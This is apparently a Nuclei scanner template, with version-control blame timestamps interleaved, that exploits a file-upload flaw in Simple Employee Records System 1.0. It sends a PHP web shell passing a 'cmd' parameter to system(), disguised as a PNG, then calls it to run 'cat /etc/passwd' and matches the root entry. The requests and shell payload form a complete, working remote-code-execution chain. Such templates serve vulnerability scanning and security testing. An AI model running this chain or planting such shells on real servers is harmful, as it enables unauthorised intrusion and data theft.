2021-03-01 11:40:03 +00:00
|
|
|
id: simple-employee-rce
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: Simple Employee Records System 1.0 RCE
|
|
|
|
author: pikpikcu
|
|
|
|
severity: critical
|
|
|
|
reference: https://www.exploit-db.com/exploits/49596
|
2021-03-02 16:12:00 +00:00
|
|
|
tags: rce
|
2021-03-01 11:40:03 +00:00
|
|
|
|
|
|
|
requests:
|
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
POST /dashboard/uploadID.php HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
|
|
|
|
Accept: application/json, text/javascript, */*; q=0.01
|
|
|
|
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
|
|
|
|
Accept-Encoding: deflate
|
|
|
|
X-Requested-With: XMLHttpRequest
|
|
|
|
Content-Type: multipart/form-data; boundary=---------------------------5825462663702204104870787337
|
|
|
|
Content-Length: 267
|
|
|
|
DNT: 1
|
|
|
|
Connection: close
|
|
|
|
|
|
|
|
-----------------------------5825462663702204104870787337
|
|
|
|
Content-Disposition: form-data; name="employee_ID"; filename="poc.php"
|
|
|
|
Content-Type: image/png
|
|
|
|
|
|
|
|
<?php
|
|
|
|
$cmd=$_GET['cmd'];
|
|
|
|
system($cmd);
|
|
|
|
?>
|
|
|
|
-----------------------------5825462663702204104870787337--
|
|
|
|
- |
|
|
|
|
GET /uploads/employees_ids/{{endpoint}}?cmd=cat%20/etc/passwd HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
|
|
|
|
Content-Length: 2
|
|
|
|
|
|
|
|
extractors:
|
|
|
|
- type: regex
|
|
|
|
name: endpoint
|
|
|
|
part: body
|
|
|
|
internal: true
|
|
|
|
regex:
|
|
|
|
- '(?:[a-zA-Z0-9+\/])*_poc.php'
|
|
|
|
|
|
|
|
matchers:
|
|
|
|
- type: regex
|
|
|
|
regex:
|
2021-07-24 21:35:55 +00:00
|
|
|
- "root:.*:0:0"
|
2021-03-01 11:40:03 +00:00
|
|
|
condition: and
|
|
|
|
part: body
|